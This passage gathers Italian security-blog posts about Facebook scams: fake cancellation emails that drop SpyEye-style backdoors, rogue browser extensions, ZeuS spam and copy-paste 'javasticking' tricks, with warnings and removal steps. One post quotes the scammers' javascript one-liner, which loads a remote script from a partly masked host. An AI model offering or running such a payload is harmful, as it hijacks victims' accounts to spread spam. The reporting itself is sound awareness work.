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Falso avviso Facebook informa cancellazione account e scarica malware


Una nuova pericolosa truffa si sta diffondendo su Facebook. Avete ricevuto una e-mail che chiede di confermare la richiesta di cancellazione del vostro account? State in guardia. Gli esperti di Sophos sono stati contattati da un loro lettore dopo aver ricevuto una mail proveniente apparentemente da Facebook e che ha suscitato i suoi sospetti. Nella lettera si legge:

"Hi [email address] We are sending you this email to inform you that we have received an account cancellation request from you. Please follow the link below to confirm or cancel this request

Thanks,
The Facebook Team

To confirm or cancel this request, follow the link below:
click here"


"Ciao [indirizzo email]

Ti invio questa email per informarti che abbiamo ricevuto una richiesta di cancellazione dell'account da te. Segui il link qui sotto per confermare o annullare questa richiesta

Grazie,
Il team di Facebook

Per confermare o annullare questa richiesta, seguire il link qui sotto:
clicca qui"

Il lettore di Naked Security ha fatto bene a essere sospettoso. Il link infatti non punta a una pagina ufficiale di Facebook, ma ad un'applicazione di terze parti in esecuzione sulla piattaforma del social network. Naturalmente, questo significa che il link accede a un indirizzo facebook.com, ciò potrebbe ingannare coloro che sono poco cauti.


La prima cosa che si può incontrare se si clicca sul link è un messaggio che chiede se si desidera consentire l'esecuzione sul computer di un'applet Java sconosciuta. E sembra che la richiesta sia piuttosto insistente. Infatti, se si preme il pulsante "No grazie" si verrà continuamente "tormentati " per dar il consenso all'esecuione dell'applet Java.


"Viene utilizzato del social engineering abbastanza astuto dai truffatori che stanno dietro questo attacco malware. Sanno che la gente tiene molto ai propri account Facebook, e molti sarebbero sconvolti dal perdere l'accesso e le connessioni digitali che hanno costruito con gli amici e la famiglia", scrive Joanne Garvey, ricercatore di sicurezza di Sophos Labs.


La speranza dei criminali informatici è che le vittime accettino ciecamente ciò che il computer dice loro di fare, in modo da "risolvere" la richiesta di cancellazione dell'account. Se si da il consenso all'esecuzione dell'applet Java, verrà visualizzato un messaggio che informa che Adobe Flash deve essere aggiornato. Naturalmente, il codice che viene scaricato non è affatto un aggiornamento di Flash originale.

Invece, il programma aggiunge dei file nella cartella /WIN32, che hanno l'intenzione di permettere agli hacker remoti di spiare le vostre attività e prendere il controllo del vostro computer. I prodotti di sicurezza Sophos prodotti rilevano i malware e bloccano l'accesso al sito che ospita il codice pericoloso. Si tratta dei malware Mal/SpyEye-B e Troj/Agent-WHZ, che aprono una backdoor nel computer della vittima.

Sei tu nel video? Scam Facebook con falso update YouTube: come rimuovere


Una nuova truffa si sta diffondendo attraverso tag automatici tra gli utenti di Facebook e, come in altre già viste, per la sua diffusione viene utilizzata una falsa estensione del browser (il cosiddetto pluginjcking). In questo caso però, dopo la nostra analisi approfondita, le "consuete" e semplici operazioni di rimozione dell'estensione rogue non sortiscono alcun effetto, con il risultato che molti utenti non riescono a liberarsi dello sgradito "ospite" dal proprio browser Web.

Nello scam si viene informati dagli amici caduti nella truffa della presenza in un video nel quale si è stati taggati. Il testo del post recita testualmente: "omg!! is that you in the background of the video?? hahaha ;-P hehe, check it out at [Short Url] ;-P — con [Nome Cognome] e altre [Numero Random] persone (omg! ci sei tu sullo sfondo del video? hahaha;-P hehe, controlla fuori):


Se clicchiamo sul link si viene rimandati ad una falsa pagina esterna che ripropone perfettamente la grafica di Facebook e dove ci viene richiesto l'aggiornamento dell'applicazione YouTube per poter visualizzare il presunto video.


Inoltre, controllando la barra degli indirizzi un utente "poco esperto" potrebbe essere tratto in inganno, dato che l'Url inizia con www.facebook.[...]


L'applicazione del falso aggiornamento include visualizzazione più agevole del video e supporto per l'accelerazione hardware; miglioramenti nella performance e gestione della memoria; supporto multi-touch e gestione del contento; supporto alla navigazione privata di sicurezza migliorato


Se clicchiamo su un punto qualsiasi dell'immagine verrà avviato il download del plugin malware denominato Gtalk con estensione .crx che potrà accedere a tutti i dati su tutti i siti web, alle schede e alle attività di navigazione.


Dopo averla installata dunque verranno effettuate delle operazioni a nome e per conto dell'utente Facebook che l'ha installata. Inoltre accederà a tutti i nostri dati di navigazione e ovviamente cronologia, ecc. Se l'utente prova a disinstallare con le "normali" procedure l'estensione (ad esempio su Google Chrome), il plug-in rogue impedirà l'apertura della pagina delle Impostazioni delle estensioni.

Per ovviare a questo inconveniente sarà necessario aprire il task manager del browser, andando su Chiave inglese>Strumenti>Task Manager cercare il processo MSN e bloccarlo.


Dopo bisognerà recarsi alla pagina delle estensioni installate sul browser (chrome://settings/extensions) e rimuovere GTalk o MSN. Abbiamo infatti individuato due diverse estensioni rogue che, ovviamente, nulla hanno a che vedere con quelle legittime di Google Gtalk e MSN Microsoft.



L'applet Java tenterà di contattare un computer remoto, aprendo di fatto una pericolosa backdoor sul PC vittima. Dopo aver completato le operazioni chiudere e riavviare il browser. L'estensione rogue è naturalmente funzionante anche su altri browser di navigazione, come Firefox ed Internet Explorer. Rimuovete il post dal vostro profilo ed avvisate i vostri amici. Non installate MAI plugin o applicazioni provenienti da fonti sconosciute.

Quando siete su Facebook controllate sempre l'Url ed attivate per sicurezza il controllo dei tag sul profilo. Installate una suite di siurezza che comprenda antivirus + firewall e tenetela costantemente aggiornata. Non fidatevi dei messaggi inviati anche dagli amici su Facebook perchè a loro volta potrebbero essere caduti in qualche tipologia di truffa. Per essere "realmente" aggiornati su queste tipologie di truffe seguite la nostra pagina su Facebook.

Top 10 malware 2011, classifica rinnovata con nuovi trojan e adware


I GData SecurityLabs rendono nota la lista dei dieci malware più attivi nel mese di dicembre 2011. La percentuale di diffusione nel mese conclusivo dell’anno appena trascorso è la più bassa ad essere stata registrata nella seconda metà dell’anno. Di contro, però, il numero di attacchi registrati è cresciuto quasi costantemente e lo scenario dei diversi rilevamenti si fa sempre più ampio.

G Data, nuova ondata di mail spam con virus ZeuS e doppia trappola


ZeuS è stato sicuramente uno dei Trojan bancari più pericolosi degli ultimi anni. Zbot, in circolazione dal 2007 aveva infettato, attraverso la sua rete di botnet 75.000 sistemi in 196 paesi, di cui 1.400 computer italiani, 2500 organizzazioni compresi Enti Governativi e società commerciali. Lungi dall’essere stato completamente eliminato, il pericoloso malware si ripresenta ora grazie a una nuova ondata di mail di spam che rimanda a falsi siti di banche più o meno note in ogni nazione. 

Il trucco è sempre lo stesso: trarre in inganno l’utente e indurlo a cliccare su un link con tutte le conseguenze negative del caso. Le mail in questione fanno di norma riferimento a false transazioni non andate a buon fine con la conseguenza richiesta all’ignaro destinatario di cliccare su un link per rivedere gli estremi dell’operazione bancaria. Cliccando su questo link si accede a un falso sito web dove viene richiesto all’utente di scaricare un update per Adobe Flash Player necessario per visualizzare il file pdf della transazione.


Ovviamente si tratta di un falso aggiornamento che, come dimostrato dalle analisi condotte dai G Data Security Labs, contiene il malware Zeus identificato come Gen: Variant. Kazy.44360. L’attacco, però, non si limita a questa trappola. Anche se l’utente si rende conto che l’update richiesto è un falso, lo stesso sito Internet di per sé rappresenta un pericolo. 

Gli autori del sito, infatti, hanno incluso un file php che nasconde un javascript non visibile in grado di lanciare un applet che funziona come un drive-by-downloader capace di penetrare nel computer nell’utente sfruttando una vulnerabilità descritta in CVE-2010-0840. Se l’attacco funziona, l’applet scarica ulteriori dati nel Pc dell’utente che ora diventa, di fatto, la vittima designata. Il file scaricato, un .dll in questo caso, è il malware che infetta il computer con ZeuS.


Siamo dunque in presenza di un sito Internet ibrido che, da un lato, cerca di infettare i visitatori con tecniche di social engineering offrendo un aggiornamento software come necessario e che, dall’altro, cerca di sfruttare un’infezione di tipo drive-by. Come sempre in questo caso i consigli da seguire sono chiari:
  • Se ricevete una mail da banche di cui non siete clienti o con le quali non avete mai avuto rapporti cancellate immediatamente la mail e non cliccate mai su eventuali link o allegati
  • Non fornite mai dati personali o bancari via mail né inseriti su siti Internet che vi sono stati indicati via mail
  • Tenete aggiornato il vostro antivirus o suite di sicurezza
  • Tenete aggiornato il vostro sistema operativo con le ultime patch.
  • Se dovete inserire indirizzi Internet nel browser inseriteli sempre manualmente e, se utilizzate l’online banking, accedetevi attraverso la cartella Preferiti del browser
Un’importante operazione da eseguire per non perdere mai i preferiti del proprio browser è quella di salvarli periodicamente o sincronizzarli in automatico. Alcuni browser come Chrome permettono la sincronizzazione automatica direttamente dai server Google.

G Data Software AG, con il suo quartier generale a Bochum, è una software house innovativa che si sta velocemente espandendo e che ha il suo focus sulle soluzioni per la sicurezza informatica. In qualità di specialista in Internet Security e pioniere nel campo della protezione contro i virus informatici, l’azienda, fondata a Bochum nel 1985, ha sviluppato il primo programma antivirus più di 20 anni fa. G Data è dunque una delle più vecchie aziende produttrici di sicurezza del mondo.

Negli ultimi cinque anni nessun altra azienda europea del settore sicurezza ha vinto tanti test e premi nazionali ed internazionali quanto G Data. La linea di prodotti comprende soluzioni per la sicurezza dell’utente finale come pure prodotti dedicate alla piccola, media e grande impresa. Le soluzioni per la sicurezza di G Data sono disponibili in tutto il mondo in più di 90 paesi. Maggiori informazioni sull’azienda e sulle soluzioni per la sicurezza informatica di G Data sono disponibili sul sito internet www.gdata.it. Per ulteriori informazioni G Data Software Italia Srl

Facebook blocca attacco con foto hard e violente, individuati responsabili


Facebook ha detto di aver liberato il suo sito da gran parte delle immagini pornografiche e violente pubblicate come parte di un attacco di spam. Facebook aveva annunciato un'indagine sulla base delle denunce ricevute da migliaia di utenti che hanno detto di aver ricevuto immagini pornografiche sui loro ''news feed''. Lo scorrere del flusso degli 800 milioni di utenti del sito di social networkig sembra ora tornato normale.

Facebook scam: false anteprime video inducono ad azioni automatiche


Un nuovo attacco del tipo javasticking in lingua italiana è in atto da diverse ore su Facebook. Molti utenti stanno vedendosi letteralmente inondare la propria bacheca con miniature video che invitano alla visualizzazione di filmati dove si è protagonisti, in realtà inesistenti. L'invasione è del tipo "virale" da non confondere con "virus", anche se molti utenti e pagine confondono spesso questi termini, considerandoli la stessa cosa. 

Infatti ecco cosa leggiamo su Facebook: "ATTENZIONE A TUTTI...... sulle bacheche compaiono degli strani video con provenienza youtube...mandati da una persone di quelle che abbiamo tra le nostre amicizie con una frase che più o meno dice così...CIAO, come stai? ma dimmi (il vostro nome) sei proprio tu in questo video? ecco NON APRIRLO ASSOLUTAMENTE contiene un link ruba profilo e quindi addio anche alle pagine eliminarlo istantaneamente dalla bacheca!Copialo e incollato nella tua bacheca e passate parola.CONDIVIDETE E FATE GIRARE". 

In realtà non vi è alcun furto del profilo o di pagine, ma consiste "semplicemente" in una serie di comandi in javascript effettuate in maniera "quasi" automatica dall'utente che cade nella trappola. Si tratta di diversi post che contengono testi simili:

Ciao [nome] ma sei te in questo video!!
YouTube
www.facebook.com
[Nome] Pazzesco!! non posso credere che lo hai fatto davvero


Ciao [nome] ti hanno taggato in questo video?
YouTube
www.facebook.com
[Nome] Incredibile! Ma perche lo hai fatto


Ed inoltre:
Questa Ragazza deve essere pazza per aver fatto questo!
VIDE0
www.facebook.com
Cavolo ma le persone stanno proprio fuori! Ma come si fa a fare questa cosa!


Cominciano spiegando che i link "YouTube" e "VIDE0" non sono altro che collegamenti ipertestuali che riportano alla bacheca del profilo utente (http://www.facebook.com/profile.php?sk=wall). Se clicchiamo sulle false anteprime dei video, per coloro che hanno installato correttamente l'ultima versione di flash player, verrà visualizzato il seguente messaggio:

Controllo di sicurezza Facebook.
Per vedere il video segui i passaggi
Ci scusiamo per il disagio
Continue


Si tratta di una finestra di dialogo simile a quella che YouTube presenta quando il filmato non è disponibile nel paese dell'utilizzatore, quindi l'utente viene invitato a premere alcuni tasti in sequenza che nascondono istruzioni automatizzate.


Per prima cosa saremo invitati a selezionare l'URL presente sulla barra degli indirizzi, cliccare J (per cancellare l'URL) e dunque la combinazione di tasti CTRL + V. Con quest'ultima operazione incolleremo la seguente istruzione javascript: "(a=(b=document).createElement('script')).src='http://www.******saliensstreaming.com/tag/fb.php',b.body.appendChild(a);void(0)" e poi il tasto INVIO per confermare l'operazione. 

In realtà l'utente avrà eseguito una serie una serie di azioni come se fosse lui stesso a compierle. Tali azioni si limitano, per adesso, all'autopubblicazione dello stesso post nella bacheca propria e in quelle degli amici, in modo da diffondersi viralmente. Il sito collegato ai post è il seguente:


Al momento non abbiamo rilevato malware (virus) e molti di questi link sono già stati bloccati da Facebook. Nonostante ciò questo nuovo metodo è riuscito a bypassare il controllo per queste tipologie di truffe da parte del sistema automatico di Facebook. Ciò perchè in precedenza era stato settato al massimo livello ed ha fatto si che molte applicazioni fossero disattivate per errore da Facebook. 

Il consiglio è quello di rimuovere i post spam dalle vostre bacheche, passando il mouse in alto a destra del post e cliccando sulla X che appare. in questo modo potrete rimuovere sia il post che la preferenza alla pagina o applicazione. 

Se ciò non dovesse essere sufficiente, potete controllare l'eventuale preferenza data inconsapevolmente a pagine sconosciute, collegandovi http://www.facebook.com/editprofile.php?sk=activities e per verificare le applicazioni usate http://www.facebook.com/settings/?tab=applications. Informate i vostri amici e prestate attenzione prima di compiere qualsiasi azione "inusuale" sul social newtork, in special modo quando ricevete post o link dai vostri amici. Infatti nella stragrande maggioranza di queste tipologie di truffe è proprio l'amico ad essere veicolo inconsapevole.

G Data: maggiori danni dalla mancanza di aggiornamenti software



Le vecchie falle di sicurezza sono sempre più popolari tra i criminali online. Un problema causato dagli utenti Pc che non aggiornano con regolarità il software installato. Quando si tratta di infettare un Pc i criminali online traggono un grande vantaggio dalla mancanza di aggiornamenti del browser e dei suoi componenti. A questo riguardo le ricerche condotte dai G Data Security Labs evidenziano che le falle di sicurezza non ancora chiuse presenti nei plug-in dei browser sono ancora molto di moda presso i cyber criminali.

Javasticking: ascolta su Facebook la tua musica preferita ma è scam


Facebook ha stretto di recente un accordo con un servizio di musica, da cui è possibile ascoltare migliaia di brani gratuitamente, che permetterà di usufruire di una vasta libreria musicale in streaming. Presto quindi si potrà condividere e ascoltare musica in streaming con un click: l'icona del servizio potrebbe essere collocata nella parte laterale sinistra del menù di entrata sulla propria pagina Facebook. Una volta cliccata l'icona, si installerà un software all'interno del computer che consentirà di accedere all'offerta musicale senza dover abbandonare la pagina del social network. E gli spammer non hanno perso tempo per diffondere il loro spam su Facebook. Non sarebbe bello se tu avessi un accesso immediato alla tua musica preferita e alle bande musicali? E se questi fossero facilmente disponibili sul tuo sito di social networking? Sono queste le domande che gli esperti di TrendMicro si pongono per descrivere questa nuova truffa su Facebook.


Recentemente sono stati individuati dei messaggi che circolano in chat e post sulle bacheche di Facebook che promuovono una presunta nuova funzionalità di lettore musicale. Di seguito è riportato uno screenshot di messaggi simili che si possono trovare:


Lo script utilizzato in questo spam è rilevato da Trend Micro come JS_FBJACK.B. Analogamente agli altri attacchi spam precedentemente segnalati su Facebook spam, una volta che gli utenti cliccano sul link, vengono reindirizzati a un sito che invita loro ad eseguire diversi passaggi (Javasticking). Il primo dei quali è quello di copiare un particolare frammento di codice nella loro barra degli indirizzi del browser, che ricorda il famoso attacco spam che aveva come oggetto Bin Laden


Una volta fatto, lo script maligno accede all'elenco amici dell'utente Facebook interessato Da questo elenco, crea post bacheca e invia messaggi di chat ai contatti di Facebook. Il messaggio letto: “FaceBook finally added a profile music player! I’ve been wanting one of these forever! [LINK]“ ("Facebook ha aggiunto infine un lettore profilo musicale! Ho sempre voluto uno di questo per sempre!“). Alcuni dei post contengono i seguenti link:
  • http://{BLOCCATO}ures.webs.com/profilemusicplayer.htm
  • http://{BLOCCATO}okfeatures.webs.com
  • http://{BLOCCATO}ures7.webs.com/aboutme.htm
  • http://{BLOCCATO}cplayer.webs.com
  • http://{BLOCCATO}ilemusic.webs.com
Tutti i link di cui sopra attualmente reindirizzano ad un singolo URL, un sito truffa che racconta agli utenti interessati di aver vinto un premio certo. Il sito poi chiede loro di fornire informazioni personali.


Gli spammer sfruttano la debolezza dei browser web e la curiosità dell'utente chiedendo alle persone di copiare e incollare il codice maligno nella barra degli indirizzi, facendo intraprendere al profilo azioni a nome di quelle persone, compresa la pubblicazione di aggiornamenti di stato con link fasullo e l'invio di messaggi di spam a tutti gli amici. Facebook ha lavorato per migliorare i propri sistemi in grado di rilevare e bloccare questi tipi di attacchi, come pure educare la gente su ciò che sta causando l'invio di spam dal loro account, ma ancora non è stato possibile bloccare queste azioni. Dunque tocca all'utente non cadere in queste trappole di social engineering (ingegneria sociale). Non utilizzate codici JavaScript loggati su Facebook e prestate attenzione ai link inviati dai vostri amici.

Javasticking: "Quante volte viene visto il profilo", truffa su Facebook


Dopo la truffa segnalata nelle scorse ore, una nuova ondata di messaggi spam sulle bacheche degli utenti di Facebook sono stati individuati da Protezione Account. Anche in questo caso la truffa (ancora attiva) promette, a suo dire, di mostrare i visitatori del proprio profilo Facebook. Per aumentarne la credibiltà, si sottolinea nel messaggio di spam che si tratta d'una versione "aggiornata e corretta".  

Come abbiamo già ripetuto in diverse occasioni, sono molte le applicazioni che permettono di vedere chi vi sta seguendo sul social network (o solo in generale controllando il vostro profilo). Ma queste applicazioni compilano i dati in base al modo di interagire con il vostro profilo da parte di amici, per scoprire chi sono i vostri più grandi fan.

Ma nessuna sarà in grado di dire quante volte viene visitato il vostro profilo, come invece promette questa truffa. I messaggi recitano testualmente: "At last they updated the Profile Viewer to a new working Version. LOL i thought it was a scum. I can now see a list of my Profile viewers any time i want. Awesome ^_^ Who is checking on me? [LINK] You meet people on facebook everyday but do you know if they are trustworthy?You know adding them gives them access to your Profile! Check how many times stalks your profile here!", che tradotto:

"Finalmente hanno aggiornato il Visualizzatore del profilo a una nuova versione di lavoro. LOL ho pensato che fosse una feccia. Ora posso vedere un elenco dei visualizzatori del mio profilo quando voglio. Spaventoso ^ _ ^ Chi mi sta controllando? [LINK] Tutti i giorni si incontrano persone su facebook ma non sai se sono affidabili? Lo sai aggiungendoli dando loro accesso al tuo profilo! Controlla quante volte seguono il tuo profilo qui!"


Se si fa clic sul link si viene portati ad una pagina web esterna al social network che effettua immediatamente un reindirizzamento alla ormai famosa pagina di Javasticking, dove si viene indotti a copiare e incollare un codice JavaScript nella barra degli indirizzi del vostro browser.

Il codice che l’utente ignaro incolla nella barra degli indirizzi è un JavaScript che richiama un secondo file JavaScript, presente sul sito "esca". Questo secondo file passa in rassegna tutti i contatti dell’utente inviando loro messaggi post sulle bacheche, compresi i vostri amici online in chat.


Facebook non fornisce alcuna funzionalità che consenta di monitorare chi visualizza il vostro profilo, o parti di esso, come le foto. Le applicazioni di sviluppatori esterni non possono fornire questa funzionalità, ne tantomeno dei codici JavaScript. Le applicazioni che sostengono di offrire questa possibilità verranno rimosse da Facebook per aver violato le sue politiche.

Inoltre, utilizzando tali metodi, si verrà estromessi dal sito attraverso il nuovo sistema antispam di Facebook, che è basato sul rilevamento di numerose azioni del profilo in un breve lasso di tempo. Si verrà dunque informati di tale attività maligna sul proprio profilo ed invitati a condividere un post che descrive l'azione e rimanda sulla pagina informativa del Facebook Help Center dedicata alle informazioni di base su come proteggere il proprio account.

Gli spammer sfruttano la debolezza dei browser web chiedendo alle persone di copiare e incollare il codice maligno nella barra degli indirizzi, facendo intraprendere al profilo azioni a nome di quelle persone, compresa la pubblicazione di aggiornamenti di stato con link fasullo e l'invio di messaggi di spam a tutti gli amici.

Facebook ha lavorato per migliorare i propri sistemi in grado di rilevare e bloccare questi tipi di attacchi, come pure educare la gente su ciò che sta causando l'invio di spam  dal loro account. Non utilizzate dunque codici JavaScript loggati su Facebook e rimuovete il post sulla vostra bacheca cliccando sulla X accanto al post.

Profile Spy, nuova truffa per scoprire chi visita il vostro profilo su Facebook


Un'altra truffa, segnalata da Sophos, è in corso di diffusione su Facebook ed inganna gli utenti facendo credere di scoprire chi guarda segretamente il vostro profilo sul social network. Sono molte le applicazioni  che permettono di vedere chi vi sta seguendo (o solo in generale controllando il vostro profilo). Ma queste applicazioni compilano i dati in base al modo di interagire con il vostro profilo da parte di amici, per scoprire chi sono i vostri più grandi fan.

Ma nessuna sarà in grado di dire chi guarda il vostro profilo, come invece promette questo metodo spam.  Utilizzando l'immagine di un cartone animato di quello che sembra essere uno scimpanzé che guarda attraverso un binocolo, i messaggi sono inviati da altri utenti di Facebook che sono già caduti nella trappola, facendo clic sul link e seguendo le istruzioni del truffatori.

Il sistema è il già pluricollaudato JavaScript, come abbiamo già visto in questo post. Il testo del post è il seguente: "WICKED! Now you can see who views your facebook profile.. i saw my top profile stalkers and my EX is still creeping my profile every day Checkout your PROFILE stalkers [LINK] Now you can see who stalks your profile daily" (Visto! Ora è possibile vedere chi visualizza il tuo profilo di Facebook .. Ho visto chi segue maggiormente il mio profilo e il mio ex è ancora strisciante sul mio profilo ogni giorno Acquista il tuo PROFILO stalker [LINK] Ora è possibile vedere chi segue tuo profilo giornalmente).


Se si fa clic sul link si viene portati ad una pagina web di terze parti che vi spinge a copiare e incollare un codice JavaScript (Javasticking) nella barra degli indirizzi del vostro browser. Le rivendicazioni della pagina sono quelle che il vostro codice è unico per visualizzare la vostra Top 10 profile spys - ma non è affatto vero. Le persone devono essere consapevoli che non esiste una caratteristica su Facebook che consente di visualizzare il profilo dei visitatori. Pertanto, qualsiasi messaggio o applicazione che afferma il contrario è sicuramente una truffa. Questo è un trucco viene comunemente usato dai truffatori in questo momento.


Se si incolla il codice nella barra degli indirizzi, tipicamente passa il messaggio ad altri utenti di Facebook, inviando un post sulle bacheche - compresi i vostri amici online in chat. Facebook non fornisce alcuna funzionalità che consenta di monitorare chi visualizza il vostro profilo, o parti di esso, come le foto. Le applicazioni di sviluppatori esterni non possono fornire questa funzionalità, ne tantomeno dei codici JavaScript. Le applicazioni che sostengono di offrire questa possibilità verranno rimosse da Facebook per aver violato le sue politiche.

Inoltre, utilizzando tali metodi, si verrà estromessi dal sito per attività di spam. Decine di gruppi e pagine su Facebook con migliaia e migliaia di utenti sono stati creati al riguardo, promettendovi qualcosa che ovviamente non è possibile. Come leggiamo sul Facebook Help Center, Facebook attualmente non fornisce un'applicazione che permette agli utenti di tracciare le visualizzazioni del profilo o le statistiche sulle visualizzazioni di contenuti utente specifici.

Gli sviluppatori di terzi, tuttavia offrono applicazioni che forniscono questa funzione. Ricordate  che le applicazioni NON possono tracciare le visite del profilo per utenti che accedono al profilo di un'altra persona, Facebook ha reso questa funzione tecnicamente impossibile. Per essere tracciato da un'applicazione, dovete acconsentire in modo specifico che l'applicazione possa tenere traccia delle vostre azioni. Non utilizzate codici JavaScript loggati su Facebook.

Vinci iPhone? No, invii spam da profilo Facebook con falsa Applet Java


Una nuova truffa si sta diffondendo in queste ore tra gli utenti italiani di Facebook. La truffa, segnalata da un nostro lettore e analizzata da Protezione Account, a suo dire, permetterebbe l'iscrizione ad un presunto quanto fantomatico concorso per partecipare all'estrazione di un iPhone 4 di Apple, nuovo di zecca. Lo spam arriva da un amico che è caduto nella trappola e si presenta con un messaggio che recita: "per caso ti interessa un iPhone 4 gratis? ;) dai un'occhiata al link qui sotto allora! ci sentiamo :D [LINK]".


Se clicchiamo sul link veniamo rimandati alla scheda di "benvenuto" di una pagina su Facebook, dove leggiamo: "Vinci un nuovissimo iPhone 4! Segui le istruzioni qui in basso. Segui le istruzioni qui in basso per convalidare la tua iscrizione (Solo utenti Italiani)".


Se "confermiamo" la partecipazione ci verrà presentata una finestra di dialogo per eseguire una falsa applet Java


L'applicazione altro non è che un "pacchetto" di comandi che verranno eseguiti a nome vostro su Facebook, utilizzando la tecnica fraudolenta del copia/incolla di codice javascript nella barra degli indirizzi del browser (Javasticking). In questo modo invieremo il messaggio di spam sulla nostra bacheca e a quella degli amici. Fortunatamente, sembra che sia a pieno regime la nuova funzionalità antispam dei profili annunciata da Facebook nei giorni scorsi per bloccare questo nuovo metodo utilizzata dagli spammer. Infatti verremo estromessi dal sito e ci verrà comuinicato che abbiamo inviato spam dal nostro profilo.



Saremo poi invitati da Facebook a condividere l'informazione con tutti i nostri amici, pubblicando un post che avverte gli utenti a prestare attenzione a queste tipologie di truffe. Protezione Account si aspetta che molti saranno gli spammer ad utilizzare questi attacchi, dato che si tratta d'un pacchetto preconfenzionato che opera senza chiedere azioni (come avveniva in precedenza) da parte dell'utente.


Vi raccomandiamo di non eseguire applet java il cui certificato è sconosciuto. Di seguito i dettagli del certificato dell'applicazione in questione


Il consiglio è come sempre quello di non copiare link sulla barra degli indirizzi del browser mentre si è loggati su Facebook, ma soprattutto di prestare attenzione ai link che ricevete sulla vostra bacheca da amici o in chat.  Se siete caduti nella trappola contrassegnate il post come spam cliccando sulla X posta sulla destra al passaggio del mouse ed avvertite i vostri amici.

Scam con javascript: Inserisci il pulsante non mi piace su Facebook


Una nuova truffa sta girando su Facebook e promette l'installazione del tasto "Non mi piace" sul profilo degli utenti. Si tratta d'una vecchia truffa che viene riproposta in chiave moderna ed aggiornata. Quando un utente su Facebook condivide una frase, lascia un commento, inserisce un link o qualsiasi altro elemento pubblico, i suoi contatti possono esprimere l’apprezzamento per lo stesso utilizzando il tasto "Mi Piace". 

Molti utenti hanno però richiesto l’introduzione di un ulteriore pulsante, un "Non mi piace", ma al momento, lo staff di Facebook non ha mostrato alcun interesse verso questo argomento. Vi sono molti gruppi e pagine su Facebook che promettono di spiegare come aggiungere il tasto "Dislike", ma nella maggior parte dei casi si tratta solo di operazioni virali per accrescere il proprio numero di iscritti. E' altresì vero che esistono dei plug-in per browser che permettono di cliccare "Non mi piace", ma funzionano solo se installati da tutti gli utenti. 

Un altro metodo per aggiungere il tasto Non Mi Piace consiste nell'utilizzare Social Plus, però, anche in questo caso il vostro "Non Mi Piace" sarà visualizzato soltanto da chi, a propria volta, ha installato Social Plus. La truffa in questione, individuata da Protezione Account, è uno scam e si presenta attraverso messaggi di spam in lingua italiana (scam localizzato) sulle bacheche degli amici: "Lo sai che adesso puoi avere il tasto non mi piace? Clicca su Installa Non mi piace qua sotto [LINK]" e apparentemente inviati tramite iPhone.


Una volta che clicchiamo sul link "Installa Non Mi Piace" verremo rimandati ad un pagina su Facebook che invita ad effettuare delle operazioni per potere installare il tanto agognato pulsante. Ecco cosa leggiamo sulla pagina:

"Usa il nostro codice unico per inserire il "Non mi piace"!
Segui i semplici passi qua sotto per installarlo.
Passo 1 - Copia questo codice: Clicca nello spazio sottostante, seleziona il tasto destro del mouse e copialo.



Passo 2 - Incolla il testo prima copiato nella tua barra degli indirizzi dove vedi scritto Facebook.com Dopodichè premi INVIO sulla tua tastiera!

Nota bene: Sii paziente l'installazione del componente NON MI PIACE può durare qualche minutio!"


Nel frattempo dal profilo verranno impartiti dei comandi come se fosse lo stesso utente ad eseguire delle operazioni automatizzate (Javasticking), come per esempio inviare dei post sulla propria  bacheca e su quella degli amici: Facebook, dal canto suo, sembra aver attivato finalmente il nuovo sistema antiscam avvertendo gli utenti che sono caduti vittime di queste tipologie di truffe, attraverso dei link che riportano ad una pagina di sicurezza del Facebook Help Center dedicata alla prevenzione: "Keep your account safe: Never paste suspicious-looking links or test into your internet address bar. They could be spam!
Malicious script scams - Facebook Help Center" ("Mantenete il vostro account: Mai incollare link sospetti o con l'aspetto di test nella barra degli indirizzi di Internet. Potrebbero essere spam!
Truffe script dannoso - Guida di Facebook Center")


Come leggiamo sulla pagina del Centro Aiuto di Facebook: "Se l'account di un tuo amico invia inviti a pagine, gruppi o eventi che non ha creato, è possibile che sia stato scaricato del software dannoso sul computer del tuo amico o che le sue informazioni di accesso siano state violate da un tentativo di phishing mirato a inviare spam dal suo profilo. Suggerisci al tuo amico di visualizzare la pagina phishing del nostro Centro assistenza per proteggere il suo account. 

Per ulteriori informazioni in merito, clicca qui. Una volta ripristinata la sicurezza, consiglia al tuo amico di eliminare la Pagina, il gruppo o l'evento di spam". Facebook ha dunque reso operativo il sistema per contrastare le truffe attraverso Javascript annunciato nei giorni scorsi. Ma ancora molte persone cadono nella truffa e, nonostante la pagina scam sia stata disattivata da Facebook nel giro di poche ore, Protezione Account si aspetta un'escalation di questi attacchi, che fanno leva come sempre sulla poca informazione da parte degli utenti e soprattutto sulla curiosità di provare funzionalità che non sono previste nella piattaforma. 

Il consiglio è come sempre quello di non copiare link sulla barra degli indirizzi del browser mentre si è loggati su Facebook, ma soprattutto di prestare attenzione ai link che ricevete sulla vostra bacheca da amici o in chat. Rimuovete il post cliccando sulla X posta sulla destra al passaggio del mouse in modo da non far cadere nella trappola i vostri amici ed avvertite l'utente che vi ha inviato lo scam.

Spam su Facebook: Perchè sei taggato in questo video di Youtube?


Una nuova truffa virale, che finge di essere un link ad un video di YouTube nel quale si è stati taggati sta facendo il giro tra gli utenti di Facebook. La truffa utilizza i messaggi di spam multiplo, tra cui: "YO [name] why are you tagged in this video", "hey [name] i cant believe youre tagged in this video", "hey [name] you look so stupid in this video" or "OMG [name] why are you in this video". Tradotto: (" YO [nome] perché ti ho taggato in questo video ", "hey [nome] Non posso credereche  tu sei taggato in questo video ", " hey [nome] sei così stupido in questo video" o "OMG [nome], perché sei in questo video").

Spam: "Scopri chi guarda il tuo profilo", il metodo attraverso javascript


Non si è ancora esaurito l'attacco spam che ha coinvolto milioni di utenti di Facebook, in occasione della morte di Osama Bin Laden, tant'è che il social network s'è visto costretto ad adottare una soluzione tampone per arginare il fenomeno esteso a livello mondiale. Oltre a disattivare le relative pagine, Facebook ha introdotto (seppur si tratta della rivisitazione d'una vecchia funzionalità) la richiesta di codice captcha prima di poter condividere un post da siti web esterni al social network. Questo sistema dovrebbere permettere di bloccare eventuali operazioni eseguite in maniera automatica, attraverso il copia/incolla di codici Javascript per identificare che siete voi a condividere manualmente un determinato post esterno alla piattaforma. In attesa che Facebook tappi questa falla attraverso la modifica del suo codice e che viene sfruttata dagli spammer per numerose truffe attraverso schemi prestabiliti, non preoccupatevi se visualizzate l'avviso in rosso, non vi è e non vi sarà alcun problema per il vostro account. Capiamo che si tratta d'una procedura antipatica, ma come abbiamo già detto, per adesso non vi sono altre soluzioni. E sempre riguardo questo nuovo metodo utilizzato dagli spammer, Protezione Account ha individuato un nuovo filone della truffa. Potreste infatti ricevere in bacheca un post da un vostro amico simile al seguente: "Finalmente posso vedere chi visita il 